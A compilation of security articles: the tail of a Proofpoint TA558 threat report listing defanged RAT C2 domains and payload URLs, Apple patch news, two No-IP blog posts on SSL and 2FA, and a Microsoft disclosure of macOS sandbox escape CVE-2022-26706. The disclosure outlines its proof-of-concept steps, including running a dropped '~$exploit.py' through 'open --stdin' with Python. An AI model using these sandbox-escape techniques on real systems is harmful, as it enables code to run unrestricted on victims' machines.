msin[.]hopto[.]orgLoda C2 Domain2021 and 2022
cdtpitbull[.]hopto[.]orgAsyncRAT C2 Domain2021 and 2022
111234cdt[.]ddns[.]netnjRAT/AsyncRAT C2 Domain2021 and 2022
cdt2021[.]zapto[.]orgAsyncRAT C2 Domain2021 and 2022
38[.]132[.]101[.]45RevengRAT C2 IP2022

Payload URLs

IndicatorDescriptionDate Observed
hxxp[://]cdtmaster[.]com[.]br/DadosDaReserva[.]docRTF payload URL2018 
hxxp[://]hypemediardf[.]com[.]pl/css/css[.]docLoda Payload URL2019
hxxps[:]//brasilnativopousada[.]com[.]br/Final[.]txtAsyncRAT Payload URL2021
hxxps[:]//www[.]unimed-corporated[.]com/microsoft[.]txtAsyncRAT Scheduled Task URL2021
hxxps[:]//unimed-corporated[.]com/tur/turismo[.]jpgAsyncRAT Scheduled Task URL2022

ET Signatures

ETPRO MALWARE Loda Logger CnC Activity

ETPRO TROJAN MSIL/Revenge-RAT Keep-Alive Activity (Outbound)

ETPRO TROJAN MSIL/Revenge-RAT CnC Checkin

ETPRO TROJAN MSIL/Revenge-RAT CnC Checkin M2

ETPRO TROJAN MSIL/Revenge-RAT CnC Checkin M4

ETPRO TROJAN njRAT/Bladabindi Variant CnC Activity (inf)

ETPRO TROJAN Generic njRAT/Bladabindi CnC Activity (act)

ETPRO TROJAN Generic njRAT/Bladabindi CnC Activity (inf)

ET TROJAN Bladabindi/njRAT CnC Command (ll)

Source :
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel

Apple Releases Security Updates to Patch Two New Zero-Day Vulnerabilities

Apple on Wednesday released security updates for iOS, iPadOS, and macOS platforms to remediate two zero-day vulnerabilities previously exploited by threat actors to compromise its devices.

The list of issues is below –

  • CVE-2022-32893 – An out-of-bounds issue in WebKit which could lead to the execution of arbitrary code by processing a specially crafted web content
  • CVE-2022-32894 – An out-of-bounds issue in the operating system’s Kernel that could be abused by a malicious application to execute arbitrary code with the highest privileges

Apple said it addressed both the issues with improved bounds checking, adding it’s aware the vulnerabilities “may have been actively exploited.”

The company did not disclose any additional information regarding these attacks or the identities of the threat actors perpetrating them, although it’s likely that they were abused as part of highly-targeted intrusions.

CyberSecurity

The latest update brings the total number of zero-days patched by Apple to six since the start of the year –

  • CVE-2022-22587 (IOMobileFrameBuffer) – A malicious application may be able to execute arbitrary code with kernel privileges
  • CVE-2022-22620 (WebKit) – Processing maliciously crafted web content may lead to arbitrary code execution
  • CVE-2022-22674 (Intel Graphics Driver) – An application may be able to read kernel memory
  • CVE-2022-22675 (AppleAVD) – An application may be able to execute arbitrary code with kernel privileges

Both the vulnerabilities have been fixed in iOS 15.6.1, iPadOS 15.6.1, and macOS Monterey 12.5.1. The iOS and iPadOS updates are available for iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).

Update: Apple on Thursday released a security update for Safari web browser (version 15.6.1) for macOS Big Sur and Catalina to patch the WebKit vulnerability fixed in macOS Monterey.

Source :
https://thehackernews.com/2022/08/apple-releases-security-updates-to.html

What are the Benefits of Adding an SSL Certificate to Your No-IP Free, Enhanced or Plus Hostname?

SSL Certificates are a great way to increase the security of your hostname because they add an extra layer of security for you and anyone that visits your hostname. Learn the benefits of adding an SSL Certificate to your Free, Enhanced Dynamic DNS or Plus Managed DNS hostname.

What is an SSL Certificate?
SSL stands for Secure Socket Layer. This means that your hostname is given a secure connection between it, the Internet browser, and the webserver. This allows websites to transmit private data online, without the worry of it being stolen. You can tell when a website has an SSL certificate enabled, when the HTTP in the URL ends with an S, making it an HTTPS. Example: https://www.noip.com.

What are the advantages of adding an SSL Certificate to your Free, Enhanced Dynamic DNS or Plus Managed DNS hostname?

Encryption and Verification

This is the biggest benefit of adding an SSL certificate to your hostname. The extra layer of encryption shows that your hostname is safe for people to visit. All of your visitor’s data will now be transmitted over an encrypted connection to the hostname and others won’t be able to see what is being sent.

The SSL Certificate also checks that the information it receives is coming from the expected domain. So, if your customer sends personal or private information, the SSL Certificate guarantees it is being sent to the secure site, and not to a potentially malicious one.

Ensures Data Integrity

A website that doesn’t have an SSL Certificate enabled sends data in a plain text format. This means that all of the data that is being sent between the server and the browser can be easily read. If a hacker were to gain access to your domain and then change the information being presented on your hostname, this is an example of domain spoofing.

Domain spoofing happens when a hacker gains access to the information on a website and then changes it before it gets sent to the browser for the user. When this happens, the user is typically not even aware they are visiting a compromised website. When an SSL certificate is enabled on the hostname, this becomes much harder as the data is not sent in plain text, but is sent in an encrypted, unreadable format.

Gains Your Users Trust

When you use an SSL Certificate, your hostname shows up with an HTTPS and a lock icon, signifying the hostname is secure. This helps users feel safe when they are on your hostname and makes them feel comfortable if you are asking them to enter sensitive information, like credit cards, or Social Security numbers.

Our Free Dynamic DNS, Enhanced Dynamic DNS and Plus Managed DNS accounts both come with 1 Free TrustCor Standard DV SSL Certificate. Additional SSL Certificates can be purchased and start at just $19.99 per year. You can learn more about each SSL Certificate and how you can add one today here.

Source :
https://www.noip.com/blog/2022/02/22/benefits-adding-ssl-certificate-ip-free-enhanced-hostname/

New Feature Alert : No-IP Announces Two-Factor Authentication

We are so excited to announce the release of Two-Factor Authentication (2FA). This new feature helps keep our customers’ accounts secure by ensuring that only authorized people are able to access accounts. This helps limit the impact of malicious activity because it adds another layer of security on top of your password.

Why Two-Factor Authentication?

You may be wondering why No-IP added 2FA as a security feature, or even how 2FA is different from our current login policy. 2FA is one of the highest levels of security that can be implemented to ensure customer accounts remain secure. 2FA is a security practice that requires you to verify your identity using multiple forms of account verification.

When 2FA is enabled, you will log in with the same username and password, but you will be required to enter a time-based one-time password (TOTP) pin from an authenticator app of your choice on your smartphone.

It is more important than ever to enable data security measures like 2FA whenever possible. As threats like password breaches, keylogging, and other security threats are becoming a normal thing, 2FA is an added layer of account protection.

What are the Benefits of Two-Factor Authentication?

  • Additional layer of security on account login
    2FA requires users to identify themselves through additional verification measures, this helps protect accounts from theft. Making it so a password alone isn’t enough to authenticate a login. Lately, major password breaches across all industries happen so often that even a very secure password can be breached. 2FA adds another layer of security to help reduce this risk.
  • Identity Protection
    Identity theft and data breaches are all too common lately. 2FA ensures that if your username or password were ever leaked, your account is still protected by an additional layer of authentication.
  • Compliance
    Many of our customers work in industries like the Government and Health Industries that require extra compliance for third-party accounts.
  • Effective Cybersecurity Solution
    2FA is an effective strategy to keep accounts safe because it is difficult for hackers to crack both a password and have access to the 2FA device.
  • Easy Implementation
    We have made enabling and using 2FA simple and easy by offering authentication using TOTP, which is supported by various smartphone apps. You choose the one that works best for you.

How Do I Enable 2FA On My No-IP Account?

Login to your No-IP account, you can then find the 2FA option within your No-IP account under “Account” and then click ”Security”.

The first step is to choose which authentication app you will use. We suggest using AuthyDuoLastPass Authenticator, or 1Password. However, any 2FA application app that supports TOTP will work. You will then need to download and install whichever authentication app you choose.

After you have downloaded your authentication app, you will need to follow the steps for that certain app to finish the configuration process and fully activate 2FA. Please ensure that you keep your Recovery Codes in a safe place, so you can always get back into your account.

The following Knowledge Base Guides will help you configure 2FA on your No-IP account for the specific apps listed below. Consult your application’s documentation for support with other TOTP authentication apps.

Authy

Duo

LastPass Authenticator

1Password

What 2FA applications does No-IP Support?

Any 2FA application that works with TOTP will work with No-IP’s 2FA.

Does No-IP Require 2FA?

While we don’t currently require No-IP accounts to have 2FA enabled, we strongly suggest that you enable it. 2FA is a simple solution to help keep your No-IP account secure.

What Happens If I Lose Access To My Two-Factor Authentication App? 

When you set up 2FA you will be provided with ten, one-time-use recovery codes that allow you to get into your account without needing to enter your TOTP code. Each code can only be used one time. If you lose your backup codes and your authentication app, you will no longer be able to access your account. Keep these codes in a safe and secure spot that only you have access to.

If I have 2FA set up, do I need an account Security Question? 

Yes, if you ever need to contact No-IP Customer Support. we will need to verify you. One way of verification is by answering your security question. If you cannot verify your account, we will not be able to assist you.

Will you provide other factors of authentication besides TOTP and Recovery Codes?
For now, we are monitoring the usage of TOTP. However, we’re open to adding additional factors dependent on customer feedback.

Does My Dynamic Update Client (DUC) or Other Update Device Require Two-Factor Authentication When Logging In or Sending Dynamic IP Updates?

No, 2FA will only be prompted on our website at this time. We are currently working on separating the Dynamic Update Client credentials from dynamic updates completely. If you want to use different credentials other than your login, you can set up sub-account groups.

Source :
https://www.noip.com/blog/2022/02/22/new-feature-alert-ip-announces-two-factor-authentication/

Apple Releases Security Patches for all Devices Fixing Dozens of New Vulnerabilities

Apple on Wednesday rolled out software fixes for iOS, iPadOS, macOS, tvOS, and watchOS to address a number of security flaws affecting its platforms.

This includes at least 37 flaws spanning different components in iOS and macOS that range from privilege escalation to arbitrary code execution and from information disclosure to denial-of-service (DoS).

Chief among them is CVE-2022-2294, a memory corruption flaw in the WebRTC component that Google disclosed earlier this month as having been exploited in real-world attacks aimed at users of the Chrome browser. There is, however, no evidence of in-the-wild zero-day exploitation of the flaw targeting iOS, macOS, and Safari.

Besides CVE-2022-2294, the updates also address several arbitrary code execution flaws impacting Apple Neural Engine (CVE-2022-32810, CVE-2022-32829, and CVE-2022-32840), Audio (CVE-2022-32820), GPU Drivers (CVE-2022-32821), ImageIO (CVE-2022-32802), IOMobileFrameBuffer (CVE-2022-26768), Kernel (CVE-2022-32813 and CVE-2022-32815), and WebKit (CVE-2022-32792).

Also patched is a Pointer Authentication bypass affecting the Kernel (CVE-2022-32844), a DoS bug in the ImageIO component (CVE-2022-32785), and two privilege escalation flaws in AppleMobileFileIntegrity and File System Events (CVE-2022-32819 and CVE-2022-32826).

What’s more, the latest version of macOS resolves five security vulnerabilities in the SMB module that could be potentially exploited by a malicious app to gain elevated privileges, leak sensitive information, and execute arbitrary code with kernel privileges.

Users of Apple devices are recommended to update to iOS 15.6, iPadOS 15.6, macOS Monterey 12.5 (Big Sur 11.6.8 or 2022-005 Catalina for older generation Macs), tvOS 15.6, and watchOS 8.7 to obtain the latest security protections.

Source :
https://thehackernews.com/2022/07/apple-releases-security-patches-for-all.html

Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706

Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in October 2021. A fix for this vulnerability, now identified as CVE-2022-26706, was included in the security updates released by Apple on May 16, 2022. Microsoft shares the vulnerability disclosure credit with another researcher, Arsenii Kostromin (0x3c3e), who discovered a similar technique independently.

We encourage macOS users to install these security updates as soon as possible. We also want to thank the Apple product security team for their responsiveness in fixing this issue.

The App Sandbox is Apple’s access control technology that application developers must adopt to distribute their apps through the Mac App Store. Essentially, an app’s processes are enforced with customizable rules, such as the ability to read or write specific files. The App Sandbox also restricts the processes’ access to system resources and user data to minimize the impact or damage if the app becomes compromised. However, we found that specially crafted codes could bypass these rules. An attacker could take advantage of this sandbox escape vulnerability to gain elevated privileges on the affected device or execute malicious commands like installing additional payloads.

We found the vulnerability while researching potential ways to run and detect malicious macros in Microsoft Office on macOS. For backward compatibility, Microsoft Word can read or write files with an “~$” prefix. Our findings revealed that it was possible to escape the sandbox by leveraging macOS’s Launch Services to run an open –stdin command on a specially crafted Python file with the said prefix.

Our research shows that even the built-in, baseline security features in macOS could still be bypassed, potentially compromising system and user data. Therefore, collaboration between vulnerability researchers, software vendors, and the larger security community remains crucial to helping secure the overall user experience. This includes responsibly disclosing vulnerabilities to vendors.

In addition, insights from this case study not only enhance our protection technologies, such as Microsoft Defender for Endpoint, but they also help strengthen the security strategies of software vendors and the computing landscape at large. This blog post thus provides details of our research and overviews of similar sandbox escape vulnerabilities reported by other security researchers that helped enrich our analysis.

How macOS App Sandbox works

In a nutshell, macOS apps can specify sandbox rules for the operating system to enforce on themselves. The App Sandbox restricts system calls to an allowed subset, and the said system calls can be allowed or disallowed based on files, objects, and arguments. Simply put, the sandbox rules are a defense-in-depth mechanism that dictates the kind of operations an application can or can’t do, regardless of the type of user running it. Examples of such operations include:

  • the kind of files an application can or can’t read or write;
  • whether the application can access specific resources such as the camera or the microphone, and;
  • whether the application is allowed to perform inbound or outbound network connections.
Diagram comparing how user data and system resources access an app without and with App Sandbox. 

Without App Sandbox, all user data and system resources will have unrestricted access to the app.

With App Sandbox, only the data and resources confined within the said sandbox will have unrestricted access to the app. All other user data and resources won't have access.
Figure 1. Illustration of a sandboxed app, from the App Sandbox documentation (photo credit: Apple)

Therefore, the App Sandbox is a useful tool for all macOS developers in providing baseline security for their applications, especially for those that have large attack surfaces and run user-provided code. One example of these applications is Microsoft Office.

Sandboxing Microsoft Office in macOS

Attackers have targeted Microsoft Office in their attempts to gain a foothold on devices and networks. One of their techniques is abusing Office macros, which they use in social engineering attacks to trick users into downloading malware and other payloads.

On Windows systems, Microsoft Defender Application Guard for Office helps secure Microsoft Office against such macro abuse by isolating the host environment using Hyper-V. With this feature enabled, an attacker must first be equipped with a Hyper-V guest-to-host vulnerability to affect the host system—a very high bar compared to simply running a macro. Without a similar isolation technology and default setting on macOS, Office must rely on the operating system’s existing mitigation strategies. Currently, the most promising technology is the macOS App Sandbox.

Viewing the Microsoft sandbox rules is quite straightforward with the codesign utility. Figure 2 below shows the truncated sandbox rules for Microsoft Word:

Partial screenshot of a command line interface showing different keys and values related to the App Sandbox rules for Microsoft Word in macOS.
Figure 2. Viewing the Microsoft Word sandbox rules with the codesign utility

One of the rules dictates the kind of files the application is allowed to read or write. As seen in the screenshot of the syntax below, Word is allowed to read or write files with filenames that start with the “~$” prefix. The reason for this rule is rooted in the way Office works internally and remains intact for backward compatibility.

Partial screenshot of a command line interface showing the read/write App Sandbox rule for Microsoft Word in macOS.
Figure 3. File read and write sandbox rule for Microsoft Word

Despite the security restrictions imposed by the App Sandbox’s rules on applications, it’s possible for attackers to bypass the said rules and let malicious codes “escape” the sandbox and execute arbitrary commands on an affected device. These codes could be hidden in a specially crafted Word macro, which, as mentioned earlier, is one of the attackers’ preferred entry points.

Previously reported Office-specific sandbox escape vulnerability

For example, in 2018, MDSec reported a vulnerability in Microsoft Office on macOS that could allow an attacker to bypass the App Sandbox. As explained in their blog post, MDSec’s proof-of-concept (POC) exploit took advantage of the fact that Word could drop files with arbitrary contents to arbitrary directories (even after passing traditional permission checks), as long as these files’ filenames began with a “~$” prefix. This bypass was relatively straightforward: have a specially crafted macro drop a .plist file in the user’s LaunchAgents directory.

The LaunchAgents directory is a well-known persistence mechanism in macOS. PLIST files that adhere to a specific structure describe (that is, contain the metadata of) macOS launch agents initiated by the launchd process when a user signs in. Since these launch agents will be the children of launchd, they won’t inherit the sandbox rules enforced onto Word, and therefore will be out of the Office sandbox.

Shortly after the above vulnerability was reported, Microsoft deployed a fix that denied file writes to the LaunchAgents directory and other folders with similar implications. The said disclosure also prompted us to look into different possible sandbox escapes in Microsoft Word and other applications.

Exploring Launch Services as means of escaping the sandbox

In 2020, several blog posts described a generic sandbox escape vulnerability in macOS’s /usr/bin/open utility, a command commonly used to launch files, folders, and applications just as if a user double-clicked them. While open is a handy command, it doesn’t create child processes on its own. Instead, it performs an inter-process communication (IPC) with the macOS Launch Services, whose logic is implemented in the context of the launchd process. Launch Services then performs the heavy lifting by resolving the handler and launching the right app. Since launchd creates the process, it’s not restricted by the caller’s sandbox, similar to how MDSec’s POC exploit worked in 2018.

However, using open for sandbox escape purposes isn’t trivial because the destination app must be registered within Launch Services. This means that, for example, one couldn’t run files like osascript outside the sandbox using open. Our internal offensive security team therefore decided to reassess the open utility for sandbox escape purposes and use it in a larger end-to-end attack simulation.

Our obvious first attempt in creating a POC exploit was to create a macro that launches a shell script with the Terminal app. Surprisingly, the POC didn’t work because files dropped from within the sandboxed Word app were automatically given the extended attribute com.apple.quarantine (the same one used by Safari to keep track of internet-downloaded files, as well as by Gatekeeper to block malicious files from executing), and Terminal simply refused to run files with that attribute. We also tried using Python scripts, but the Python app had similar issues running files having the said attribute.

Our second attempt was to use application extensibility features. For example, Terminal would run the default macOS shell (zsh), which would then run arbitrary commands from files like ~/.zshenv before running its own command line. This meant that dropping a .zshenv file in the user’s home directory and launching the Terminal app would cause the sandbox escape. However, due to Word’s sandbox rules, dropping a .zshenv file wasn’t straightforward, as the rules only allowed an application to write to files that begin with the “~$” prefix.

However, there is an interesting way of writing such a file indirectly. macOS was shipped with an application called Archive Utility responsible of extracting archive files (such as ZIP files). Such archives were extracted without any user interaction, and the files inside an archive were extracted in the same directory as the archive itself. Therefore, our second POC worked as follows:

  1. Prepare the payload by creating a .zshenv file with arbitrary commands and placing it in a ZIPfile. Encode the ZIPfile contents in a Word macro and drop those contents into a file “~$exploit.zip” in the user’s home directory.
  2. Launch Archive Utility with the open command on the “~$exploit.zip” file. Archive Utility ran outside the sandbox (since it’s the child process of /usr/bin/open) and was therefore permitted to create files with arbitrary names. By default, Archive Utility extracted the files next to the archive itself—in our case, the user’s home directory. Therefore, this step successfully created a .zshenv file with arbitrary contents in the user’s home directory.
  3. Launch the Terminal app with the open command. Since Terminal hosted zsh and zsh ran commands from the .zshenv file, the said file could escape the Word sandbox successfully.
Screenshot of a command line interface showing proof-of-concept exploit code.
Figure 4. Preparing a Word macro with our sandbox escape for an internal Red Team operation

Perception Point’s CVE-2021-30864

In October 2021, Perception Point published a blog post that discussed a similar finding (and more elegant, in our opinion). In the said post, Perception Point released details about their sandbox escape (now identified as CVE-2021-30864), which used the following facts:

  1. Every sandboxed process had its own container directory that’s used as a “scratch space.” The sandboxed process could write arbitrary files, including arbitrary filenames, to that directory unrestricted.
  2. The open command had an interesting –env option that could set or override arbitrary environment variables for the launched app.

Therefore, Perception Point’s POC exploit was cleverly simple:

  1. Drop a .zshenv file in the container directory. This was allowed because sandbox rules weren’t enforced on that directory.
  2. Launch Terminal with the open command but use the –env option to override the HOME environment variable to point to the container directory. This made zsh consider the user’s home directory to be the container directory, and run commands from the planted .zshenv file.

Apple has since patched the vulnerability Perception Point reported in the latest version of macOS, Monterey. While we could still create the “~$exploit.zip” file in the user’s home directory, using open to launch the Archive Utility on the ZIP file now resulted in it being extracted to the Downloads folder. While this is an interesting behavior, we could no longer use it for sandbox escape purposes.

Final exploit attempt: Revisiting the ‘open’ command

After discovering that Apple has fixed both variants that abuse .zshenv, , we decided to examine all the command line options of the open command. Soon after, we came across the following:

Screenshot of a command line interface with the following text:

--stdin PATH
       Launches the application with stdin connected to PATH.
Figure 5. The –stdin option in the open utility as presented by its manual entry

As mentioned earlier, we couldn’t run Python with a dropped .py file since Python refuses to run files with the “com.apple.quarantine” extended attribute. We also considered abusing the PYTHONSTARTUP environment variable, but Apple’s fix to CVE-2021-30864 apparently prevented that option, too. However, stdin bypassed the “com.apple.quarantine” extended attribute restriction, as there was no way for Python to know that the contents from its standard input originated from a quarantined file.

Our POC exploit thus became simply as follows:

  1. Drop a “~$exploit.py” file with arbitrary Python commands.
  2. Run open –stdin=’~$exploit.py’ -a Python, which runs the Python app with our dropped file serving as its standard input. Python happily runs our code, and since it’s a child process of launchd, it isn’t bound to Word’s sandbox rules.
Screenshot of a proof-of-concept exploit code.
Figure 6. Sample minimal POC exploit code

We also came up with a version that’s short enough to be a Twitter post:

Screenshot of a proof-of-concept exploit code.
Figure 7. “Tweetable” POC exploit

Detecting App Sandbox escapes with Microsoft Defender for Endpoint

Since our initial discovery of leveraging Launch Services in macOS for generic sandbox escapes, we have been using our POC exploits in Red Team operations to emulate end-to-end attacks against Microsoft Defender for Endpoint, improve its capabilities, and challenge our detections. Shortly after our Red Team used our first POC exploit, our Blue Team members used it to train artificial intelligence (AI) models to detect our exploit not only in Microsoft Office but also on any app used for a similar Launch Services-based sandbox escape.

After we learned of Perception Point’s technique and created our own new exploit technique (the Python POC), our Red Team saw another opportunity to fully test our own detection durability. Indeed, the same set of detection rules that handled our first sandbox escape vulnerability still turned out to be durable—even before the vulnerability related to our second POC exploit was patched.

Partial screenshot of Microsoft Defender for Endpoint detecting an Office sandbox escape vulnerability. 

The left panel shows the Alert Story with timestamps. The right panel shows the Alert details, including category, MITRE ATT&CK techniques, detection source, service source, detection status, and other information.
Figure 8. Microsoft Defender for Endpoint detecting Office sandbox escape

For Defender for Endpoint customers, such detection durability feeds into the product’s threat and vulnerability management capabilities, which allows them to quickly discover, prioritize, and remediate misconfigurations and vulnerabilities—including those affecting non-Windows devices—through a unified security console.

Learn how Microsoft Defender for Endpoint delivers a complete endpoint security solution across all platforms.

Jonathan Bar Or
Microsoft 365 Defender Research Team


Source :
https://www.microsoft.com/security/blog/2022/07/13/uncovering-a-macos-app-sandbox-escape-vulnerability-a-deep-dive-into-cve-2022-26706/